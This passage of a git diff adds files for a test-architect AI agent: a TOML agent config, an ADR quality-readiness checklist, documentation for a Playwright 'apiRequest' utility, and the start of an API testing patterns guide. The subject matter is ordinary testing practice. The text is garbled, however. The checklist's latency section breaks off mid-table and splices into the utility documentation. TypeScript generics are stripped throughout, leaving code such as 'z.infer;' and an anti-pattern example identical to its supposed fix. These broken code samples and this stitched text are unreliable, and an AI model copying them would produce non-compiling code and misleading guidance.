sentence, e.g. "Our org is AWS-only -- do not propose GCP or Azure." +# - a file reference prefixed with `file:`, e.g. "file:{project-root}/docs/standards.md" +# (glob patterns are supported; the file's contents are loaded and treated as facts). + +persistent_facts = [ + "file:{project-root}/**/project-context.md", + "Memtrace structural coverage analysis is available for test coverage gap identification. The Test Architect traceability workflow (bmad-testarch-trace) can query the Memtrace graph to discover exported functional symbols in target modules and cross-reference them against test files to identify uncovered code. Use Memtrace MCP tools (find_symbol with kind=Function/Method/Class, get_source_window for symbol source, get_directory_tree for module structure, list_indexed_repositories for freshness check). Structural coverage is advisory β€” NEVER block the trace workflow on Memtrace availability. All graph queries MUST use sequential for...of with await β€” NEVER Promise.all. Prefer summarized output to stay under 2000 token limit.", +] + +role = "Master Test Architect responsible for risk-based testing, fixture architecture, ATDD, API testing, UI automation, and scalable quality gates across the BMad Method implementation phase." +identity = "Test architect specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Equally proficient in pure API/service-layer testing (pytest, JUnit, Go test, xUnit, RSpec) as in browser-based E2E testing (Playwright, Cypress), consumer-driven contract testing (Pact), and performance/load/chaos testing (k6). Supports GitHub Actions, GitLab CI, Jenkins, Azure DevOps, and Harness CI platforms." +communication_style = "Blends data with gut instinct. 'Strong opinions, weakly held' is the mantra. Speaks in risk calculations and impact assessments." + +# The agent's value system. Overrides append to defaults. +principles = [ + "Risk-based testing β€” depth scales with impact.", + "Quality gates backed by data, not vibes.", + "Tests mirror usage patterns, whether API, UI, or both.", + "Flakiness is critical technical debt.", + "Calculate risk vs value for every testing decision.", + "Prefer lower test levels (unit > integration > E2E) when possible.", + "API tests are first-class citizens, not just UI support.", +] + +# Capabilities menu. Overrides merge by `code`: matching codes replace the item +# in place, new codes append. Each item has exactly one of `skill` (invokes a +# registered skill by name) or `prompt` (executes the prompt text directly). + +[[agent.menu]] +code = "TMT" +description = "Teach Me Testing β€” interactive learning companion with 7 progressive sessions from fundamentals to advanced practices" +skill = "bmad-teach-me-testing" + +[[agent.menu]] +code = "TF" +description = "Test Framework β€” initialize production-ready test framework architecture" +skill = "bmad-testarch-framework" + +[[agent.menu]] +code = "AT" +description = "ATDD β€” generate failing acceptance tests plus an implementation checklist before development" +skill = "bmad-testarch-atdd" + +[[agent.menu]] +code = "TA" +description = "Test Automation β€” generate prioritized API/E2E tests, fixtures, and DoD summary for a story or feature" +skill = "bmad-testarch-automate" + +[[agent.menu]] +code = "TD" +description = "Test Design β€” risk assessment plus coverage strategy for system or epic scope" +skill = "bmad-testarch-test-design" + +[[agent.menu]] +code = "TR" +description = "Trace Coverage β€” map requirements, specs, or inferred journeys to tests (Phase 1) and make quality gate decision (Phase 2)" +skill = "bmad-testarch-trace" + +[[agent.menu]] +code = "NR" +description = "Non-Functional Requirements β€” assess NFRs and recommend actions" +skill = "bmad-testarch-nfr" + +[[agent.menu]] +code = "CI" +description = "Continuous Integration β€” recommend and scaffold CI/CD quality pipeline" +skill = "bmad-testarch-ci" + +[[agent.menu]] +code = "RV" +description = "Review Tests β€” perform a quality check against written tests using comprehensive knowledge base and best practices" +skill = "bmad-testarch-test-review" diff --git a/.agents/skills/bmad-tea/resources/knowledge/adr-quality-readiness-checklist.md b/.agents/skills/bmad-tea/resources/knowledge/adr-quality-readiness-checklist.md new file mode 100644 index 000000000..d6b578347 --- /dev/null +++ b/.agents/skills/bmad-tea/resources/knowledge/adr-quality-readiness-checklist.md @@ -0,0 +1,377 @@ +# ADR Quality Readiness Checklist + +**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment. + +**When to Use:** + +- System-level test design (Phase 3): Identify testability gaps in architecture +- NFR assessment workflow: Structured evaluation with evidence +- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL) + +**How to Use:** + +1. For each criterion, assess status: βœ… Covered / ⚠️ Gap / ⬜ Not Assessed +2. Document gap description if ⚠️ +3. Describe risk if criterion unmet +4. Map to test scenarios (what tests validate this criterion) + +--- + +## 1. Testability & Automation + +**Question:** Can we verify this effectively without manual toil? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- | +| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed? | Flaky tests; inability to test in isolation | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps | +| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing? | Slow, brittle UI-based automation | P0: All core logic callable via API, P1: No UI dependency for critical paths | +| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests | +| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon? | Ambiguity on how to consume the service | P1: Valid request succeeds, P1: Invalid request fails with clear error | + +**Common Gaps:** + +- No mock endpoints for external services (Athena, Milvus, third-party APIs) +- Business logic tightly coupled to UI (requires E2E tests for everything) +- No seeding APIs (manual database setup required) +- ADR has architecture diagrams but no sample API requests + +**Mitigation Examples:** + +- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions +- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs +- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only) +- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands + +--- + +## 2. Test Data Strategy + +**Question:** How do we fuel our tests safely? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- | +| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution | P0: Multi-tenant isolation (customer A β‰  customer B), P1: Test data excluded from prod metrics | +| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)? | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests | +| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests? | Environment rot; subsequent test failures | P0: Automated cleanup after tests, P2: Environment reset script | + +**Common Gaps:** + +- No `customer_id` scoping in queries (cross-tenant data leakage risk) +- Reliance on production data dumps (GDPR/PII violations) +- No cleanup mechanism (tests leave data behind, polluting environment) + +**Mitigation Examples:** + +- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers +- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps +- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs + +--- + +## 3. Scalability & Availability + +**Question:** Can it grow, and will it stay up? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | +| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances? | Inability to auto-scale horizontally | P1: Service restart mid-request β†’ no data loss, P2: Horizontal scaling under load | +| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load? | System crash during peak traffic | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled | +| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn | P1: Availability target defined, P2: Redundancy validated (multi-region/zone) | +| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang? | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging | + +**Common Gaps:** + +- Stateful session management (can't scale horizontally) +- No load testing, bottlenecks unknown +- SLA undefined or unrealistic (99.99% without redundancy) +- No circuit breakers (cascading failures) + +**Mitigation Examples:** + +- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling +- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links +- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy +- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors + +--- + +## 4. Disaster Recovery (DR) + +**Question:** What happens when the worst-case scenario occurs? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- | +| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability | P2: RTO defined and tested, P2: RPO validated (backup frequency) | +| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced? | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested | +| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity? | Ransomware vulnerability; corrupted backups | P2: Backup restore succeeds, P2: Backup immutability validated | + +**Common Gaps:** + +- RTO/RPO undefined (no recovery plan) +- Failover never tested (manual process, prone to errors) +- Backups exist but restoration never validated (untested backups = no backups) + +**Mitigation Examples:** + +- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures +- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly +- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly + +--- + +## 5. Security + +**Question:** Is the design safe by default? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | +| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement | +| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)? | Compliance violations; data theft | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works | +| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)? | Credentials leaked in git history | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager | +| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)? | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented | + +**Common Gaps:** + +- Weak authentication (no OAuth, hardcoded API keys) +- No encryption at rest (plaintext in database) +- Secrets in git (API keys, passwords in config files) +- No input validation (vulnerable to SQLi, XSS, command injection) + +**Mitigation Examples:** + +- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes +- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+ +- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks +- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs + +--- + +## 6. Monitorability, Debuggability & Manageability + +**Question:** Can we operate and fix this in production? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- | +| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices | P2: W3C Trace Context propagated (EventBridge β†’ Lambda β†’ Service), P2: Correlation ID in all logs | +| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy? | Inability to diagnose issues in real-time | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format) | +| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog? | Flying blind regarding system health | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully | +| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build? | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior | + +**Common Gaps:** + +- No distributed tracing (can't debug across microservices) +- Static log levels (requires redeploy to enable DEBUG) +- No metrics endpoint (blind to system health) +- Configuration hardcoded (requires full deploy for minor changes) + +**Mitigation Examples:** + +- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs +- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON) +- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration) +- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly) + +--- + +## 7. QoS (Quality of Service) & QoE (Quality of Experience) + +**Question:** How does it perform, and how does it feel? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- | +| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets? | Slow API responses affecting throughput | P3: P95 latency config > Playwright > direct) +- **TypeScript generics**: Type-safe response bodies +- **No browser required**: Pure API testing without browser overhead + +## Pattern Examples + +### Example 1: Basic API Request + +**Context**: Making authenticated API requests with automatic retry and type safety. + +**Implementation**: + +```typescript +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('should fetch user data', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/users/123', + headers: { Authorization: 'Bearer token' }, + }); + + expect(status).toBe(200); + expect(body.name).toBe('John Doe'); // TypeScript knows body is User +}); +``` + +**Key Points**: + +- Generic type `` provides TypeScript autocomplete for `body` +- Status and body destructured from response +- Headers passed as object +- Automatic retry for 5xx errors (configurable) + +### Example 2: Schema Validation (Single Line) + +**Context**: Validate API responses match expected schema with single-line syntax. + +**Implementation**: + +```typescript +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; +import { z } from 'zod'; + +// JSON Schema validation +test('should validate response schema (JSON Schema)', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/users/123', + validateSchema: { + type: 'object', + required: ['id', 'name', 'email'], + properties: { + id: { type: 'string' }, + name: { type: 'string' }, + email: { type: 'string', format: 'email' }, + }, + }, + }); + // Throws if schema validation fails + expect(status).toBe(200); +}); + +// Zod schema validation +const UserSchema = z.object({ + id: z.string(), + name: z.string(), + email: z.string().email(), +}); + +test('should validate response schema (Zod)', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/users/123', + validateSchema: UserSchema, + }); + // Response body is type-safe AND validated + expect(status).toBe(200); + expect(body.email).toContain('@'); +}); +``` + +**Key Points**: + +- Single `validateSchema` parameter +- Supports JSON Schema, Zod, YAML files, OpenAPI specs +- Throws on validation failure with detailed errors +- Zero boilerplate validation code + +### Example 3: POST with Body and Retry Configuration + +**Context**: Creating resources with custom retry behavior for error testing. + +**Implementation**: + +```typescript +test('should create user', async ({ apiRequest }) => { + const newUser = { + name: 'Jane Doe', + email: 'jane@example.com', + }; + + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/users', + body: newUser, // Automatically sent as JSON + headers: { Authorization: 'Bearer token' }, + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); +}); + +// Disable retry for error testing +test('should handle 500 errors', async ({ apiRequest }) => { + await expect( + apiRequest({ + method: 'GET', + path: '/api/error', + retryConfig: { maxRetries: 0 }, // Disable retry + }), + ).rejects.toThrow('Request failed with status 500'); +}); +``` + +**Key Points**: + +- `body` parameter auto-serializes to JSON +- Default retry: 5xx errors, 3 retries, exponential backoff +- Disable retry with `retryConfig: { maxRetries: 0 }` +- Only 5xx errors retry (4xx errors fail immediately) + +### Example 4: URL Resolution Strategy + +**Context**: Flexible URL handling for different environments and test contexts. + +**Implementation**: + +```typescript +// Strategy 1: Explicit baseUrl (highest priority) +await apiRequest({ + method: 'GET', + path: '/users', + baseUrl: 'https://api.example.com', // Uses https://api.example.com/users +}); + +// Strategy 2: Config baseURL (from fixture) +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test.use({ configBaseUrl: 'https://staging-api.example.com' }); + +test('uses config baseURL', async ({ apiRequest }) => { + await apiRequest({ + method: 'GET', + path: '/users', // Uses https://staging-api.example.com/users + }); +}); + +// Strategy 3: Playwright baseURL (from playwright.config.ts) +// playwright.config.ts +export default defineConfig({ + use: { + baseURL: 'https://api.example.com', + }, +}); + +test('uses Playwright baseURL', async ({ apiRequest }) => { + await apiRequest({ + method: 'GET', + path: '/users', // Uses https://api.example.com/users + }); +}); + +// Strategy 4: Direct path (full URL) +await apiRequest({ + method: 'GET', + path: 'https://api.example.com/users', // Full URL works too +}); +``` + +**Key Points**: + +- Four-tier resolution: explicit > config > Playwright > direct +- Trailing slashes normalized automatically +- Environment-specific baseUrl easy to configure + +### Example 5: Integration with Recurse (Polling) + +**Context**: Waiting for async operations to complete (background jobs, eventual consistency). + +**Implementation**: + +```typescript +import { test } from '@seontechnologies/playwright-utils/fixtures'; + +test('should poll until job completes', async ({ apiRequest, recurse }) => { + // Create job + const { body } = await apiRequest({ + method: 'POST', + path: '/api/jobs', + body: { type: 'export' }, + }); + + const jobId = body.id; + + // Poll until ready + const completedJob = await recurse( + () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }), + (response) => response.body.status === 'completed', + { timeout: 60000, interval: 2000 }, + ); + + expect(completedJob.body.result).toBeDefined(); +}); +``` + +**Key Points**: + +- `apiRequest` returns full response object +- `recurse` polls until predicate returns true +- Composable utilities work together seamlessly + +### Example 6: Microservice Testing (Multiple Services) + +**Context**: Test interactions between microservices without a browser. + +**Implementation**: + +```typescript +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001'; +const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002'; + +test.describe('Microservice Integration', () => { + test('should validate cross-service user lookup', async ({ apiRequest }) => { + // Create user in user-service + const { body: user } = await apiRequest({ + method: 'POST', + path: '/api/users', + baseUrl: USER_SERVICE, + body: { name: 'Test User', email: 'test@example.com' }, + }); + + // Create order in order-service (validates user via user-service) + const { status, body: order } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE, + body: { + userId: user.id, + items: [{ productId: 'prod-1', quantity: 2 }], + }, + }); + + expect(status).toBe(201); + expect(order.userId).toBe(user.id); + }); + + test('should reject order for invalid user', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE, + body: { + userId: 'non-existent-user', + items: [{ productId: 'prod-1', quantity: 1 }], + }, + }); + + expect(status).toBe(400); + expect(body.code).toBe('INVALID_USER'); + }); +}); +``` + +**Key Points**: + +- Test multiple services without browser +- Use `baseUrl` to target different services +- Validate cross-service communication +- Pure API testing - fast and reliable + +### Example 7: GraphQL API Testing + +**Context**: Test GraphQL endpoints with queries and mutations. + +**Implementation**: + +```typescript +test.describe('GraphQL API', () => { + const GRAPHQL_ENDPOINT = '/graphql'; + + test('should query users via GraphQL', async ({ apiRequest }) => { + const query = ` + query GetUsers($limit: Int) { + users(limit: $limit) { + id + name + email + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query, + variables: { limit: 10 }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeUndefined(); + expect(body.data.users).toHaveLength(10); + }); + + test('should create user via mutation', async ({ apiRequest }) => { + const mutation = ` + mutation CreateUser($input: CreateUserInput!) { + createUser(input: $input) { + id + name + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query: mutation, + variables: { + input: { name: 'GraphQL User', email: 'gql@example.com' }, + }, + }, + }); + + expect(status).toBe(200); + expect(body.data.createUser.id).toBeDefined(); + }); +}); +``` + +**Key Points**: + +- GraphQL via POST request +- Variables in request body +- Check `body.errors` for GraphQL errors (not status code) +- Works for queries and mutations + +### Example 8: Operation-Based Overload (OpenAPI / Code Generators) + +**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0. + +**Implementation**: + +```typescript +// Generated operation definition β€” structural typing, no import from playwright-utils needed +// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown } + +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +// --- Basic usage: operation replaces method + path --- +test('should upsert person via operation overload', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + operation: upsertPersonv2({ customerId }), + headers: getHeaders(customerId), + body: personInput, // compile-time typed as Schemas.PersonInput + }); + + expect(status).toBe(200); + expect(body.id).toBeDefined(); // body typed as Schemas.Person +}); + +// --- Typed query parameters (replaces string concatenation) --- +test('should list people with typed query', async ({ apiRequest }) => { + const { body } = await apiRequest({ + operation: getPeoplev2({ customerId }), + headers: getHeaders(customerId), + query: { page: 0, page_size: 5 }, // typed from operation's query definition + }); + + expect(body.items).toHaveLength(5); +}); + +// --- Params escape hatch (pre-formatted query strings) --- +test('should fetch billing history with raw params', async ({ apiRequest }) => { + const { body } = await apiRequest({ + operation: getBillingHistoryv2({ customerId }), + headers: getHeaders(customerId), + params: { + 'filters[start_date]': getThisMonthTimestamp(), + 'filters[date_type]': 'MONTH', + }, + }); + + expect(body.entries.length).toBeGreaterThan(0); +}); + +// --- Works with recurse (polling) --- +test('should poll until person is reviewed', async ({ apiRequest, recurse }) => { + await recurse( + async () => + apiRequest({ + operation: getPersonv2({ customerId, hash }), + headers: getHeaders(customerId), + }), + (res) => { + expect(res.status).toBe(200); + expect(res.body.status).toBe('REVIEWED'); + }, + { timeout: 30000, interval: 1000 }, + ); +}); + +// --- Schema validation chains work identically --- +test('should create movie with schema validation', async ({ apiRequest }) => { + const { body } = await apiRequest({ + operation: createMovieOp, + headers: commonHeaders(authToken), + body: movie, + }).validateSchema(CreateMovieResponseSchema, { + shape: { status: 200, data: { name: movie.name } }, + }); + + expect(body.data.id).toBeDefined(); +}); +``` + +**Key Points**: + +- Pass `operation` instead of `method` + `path` β€” mutually exclusive at compile time +- Response body, request body, and query types inferred from operation definition +- Uses structural typing (duck typing) β€” works with any code generator producing `{ path, method, response, request, query? }` +- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`) +- `params` escape hatch for pre-formatted strings β€” wins over `query` on conflict +- Fully composable with `recurse`, `validateSchema`, and all existing features +- `response`/`request`/`query` on the operation are type-level only β€” runtime never reads their values + +## Comparison with Vanilla Playwright + +| Vanilla Playwright | playwright-utils apiRequest | +| ---------------------------------------------- | ---------------------------------------------------------------------------------- | +| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` | +| `const body = await resp.json()` | Response already parsed | +| `expect(resp.ok()).toBeTruthy()` | Status code directly accessible | +| No retry logic | Auto-retry 5xx errors with backoff | +| No schema validation | Built-in multi-format validation | +| Manual error handling | Descriptive error messages | + +## When to Use + +**Use apiRequest for:** + +- βœ… Pure API/service testing (no browser needed) +- βœ… Microservice integration testing +- βœ… GraphQL API testing +- βœ… Schema validation needs +- βœ… Tests requiring retry logic +- βœ… Background API calls in UI tests +- βœ… Contract testing support +- βœ… Type-safe API testing with OpenAPI-generated operations (v3.14.0+) + +**Stick with vanilla Playwright for:** + +- Simple one-off requests where utility overhead isn't worth it +- Testing Playwright's native features specifically +- Legacy tests where migration isn't justified + +## Related Fragments + +- `api-testing-patterns.md` - Comprehensive pure API testing patterns +- `overview.md` - Installation and design principles +- `auth-session.md` - Authentication token management +- `recurse.md` - Polling for async operations +- `fixtures-composition.md` - Combining utilities with mergeTests +- `log.md` - Logging API requests +- `contract-testing.md` - Pact contract testing + +## Anti-Patterns + +**❌ Ignoring retry failures:** + +```typescript +try { + await apiRequest({ method: 'GET', path: '/api/unstable' }); +} catch { + // Silent failure - loses retry information +} +``` + +**βœ… Let retries happen, handle final failure:** + +```typescript +await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught +``` + +**❌ Disabling TypeScript benefits:** + +```typescript +const response: any = await apiRequest({ method: 'GET', path: '/users' }); +``` + +**βœ… Use generic types:** + +```typescript +const { body } = await apiRequest({ method: 'GET', path: '/users' }); +// body is typed as User[] +``` + +**❌ Mixing operation overload with explicit generics:** + +```typescript +// Don't pass a generic when using operation β€” types are inferred from the operation +const { body } = await apiRequest({ + operation: getPersonv2({ customerId }), + headers: getHeaders(customerId), +}); +``` + +**βœ… Let the operation infer the types:** + +```typescript +const { body } = await apiRequest({ + operation: getPersonv2({ customerId }), + headers: getHeaders(customerId), +}); +// body type inferred from operation.response +``` + +**❌ Mixing operation with method/path:** + +```typescript +// Compile error β€” operation and method/path are mutually exclusive +await apiRequest({ + operation: getPersonv2({ customerId }), + method: 'GET', // Error: method?: never + path: '/api/person', // Error: path?: never +}); +``` diff --git a/.agents/skills/bmad-tea/resources/knowledge/api-testing-patterns.md b/.agents/skills/bmad-tea/resources/knowledge/api-testing-patterns.md new file mode 100644 index 000000000..564f0b2ab --- /dev/null +++ b/.agents/skills/bmad-tea/resources/knowledge/api-testing-patterns.md @@ -0,0 +1,915 @@ +# API Testing Patterns + +## Principle + +Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic. + +## Rationale + +Many teams over-rely on E2E/browser tests when API tests would be more appropriate: + +- **Slower feedback**: Browser tests take seconds, API tests take milliseconds +- **More brittle**: UI changes break tests even when API works correctly +- **Wrong abstraction**: Testing business logic through UI layers adds noise +- **Resource heavy**: Browsers consume memory and CPU + +API-first testing provides: + +- **Fast execution**: No browser startup, no rendering, no JavaScript execution +- **Direct validation**: Test exactly what the service returns +- **Better isolation**: Test service logic independent of UI +- **Easier debugging**: Clear request/response without DOM noise +- **Contract validation**: Verify API contracts explicitly + +## When to Use API Tests vs E2E Tests + +| Scenario | API Test | E2E Test | +| ------------------------- | ------------- | ------------- | +| CRUD operations | βœ… Primary | ❌ Overkill | +| Business logic validation | βœ… Primary | ❌ Overkill | +| Error handling (4xx, 5xx) | βœ… Primary | ⚠️ Supplement | +| Authentication flows | βœ… Primary | ⚠️ Supplement | +| Data transformation | βœ… Primary | ❌ Overkill | +| User journeys | ❌ Can't test | βœ… Primary | +| Visual regression | ❌ Can't test | βœ… Primary | +| Cross-browser issues | ❌ Can't test | βœ… Primary | + +**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests. + +## Pattern Examples + +### Example 1: Pure API Test (No Browser) + +**Context**: Test REST API endpoints directly without any browser context. + +**Implementation**: + +```typescript +// tests/api/users.spec.ts +import { test, expect } from '@playwright/test'; + +// No page, no browser - just API +test.describe('Users API', () => { + test('should create user', async ({ request }) => { + const response = await request.post('/api/users', { + data: { + name: 'John Doe', + email: 'john@example.com', + role: 'user', + }, + }); + + expect(response.status()).toBe(201); + + const user = await response.json(); + expect(user.id).toBeDefined(); + expect(user.name).toBe('John Doe'); + expect(user.email).toBe('john@example.com'); + }); + + test('should get user by ID', async ({ request }) => { + // Create user first + const createResponse = await request.post('/api/users', { + data: { name: 'Jane Doe', email: 'jane@example.com' }, + }); + const { id } = await createResponse.json(); + + // Get user + const getResponse = await request.get(`/api/users/${id}`); + expect(getResponse.status()).toBe(200); + + const user = await getResponse.json(); + expect(user.id).toBe(id); + expect(user.name).toBe('Jane Doe'); + }); + + test('should return 404 for non-existent user', async ({ request }) => { + const response = await request.get('/api/users/non-existent-id'); + expect(response.status()).toBe(404); + + const error = await response.json(); + expect(error.code).toBe('USER_NOT_FOUND'); + }); + + test('should validate required fields', async ({ request }) => { + const response = await request.post('/api/users', { + data: { name: 'Missing Email' }, // email is required + }); + + expect(response.status()).toBe(400); + + const error = await response.json(); + expect(error.code).toBe('VALIDATION_ERROR'); + expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) })); + }); +}); +``` + +**Key Points**: + +- No `page` fixture needed - only `request` +- Tests run without browser overhead +- Direct HTTP assertions +- Clear error handling tests + +### Example 2: API Test with apiRequest Utility + +**Context**: Use enhanced apiRequest for schema validation, retry, and type safety. + +**Implementation**: + +```typescript +// tests/api/orders.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; +import { z } from 'zod'; + +// Define schema for type safety and validation +const OrderSchema = z.object({ + id: z.string().uuid(), + userId: z.string(), + items: z.array( + z.object({ + productId: z.string(), + quantity: z.number().positive(), + price: z.number().positive(), + }), + ), + total: z.number().positive(), + status: z.enum(['pending', 'processing', 'shipped', 'delivered']), + createdAt: z.string().datetime(), +}); + +type Order = z.infer; + +test.describe('Orders API', () => { + test('should create order with schema validation', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: 'user-123', + items: [ + { productId: 'prod-1', quantity: 2, price: 29.99 }, + { productId: 'prod-2', quantity: 1, price: 49.99 }, + ], + }, + validateSchema: OrderSchema, // Validates response matches schema + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); + expect(body.status).toBe('pending'); + expect(body.total).toBe(109.97); // 2*29.99 + 49.99 + }); + + test('should handle server errors with retry', async ({ apiRequest }) => { 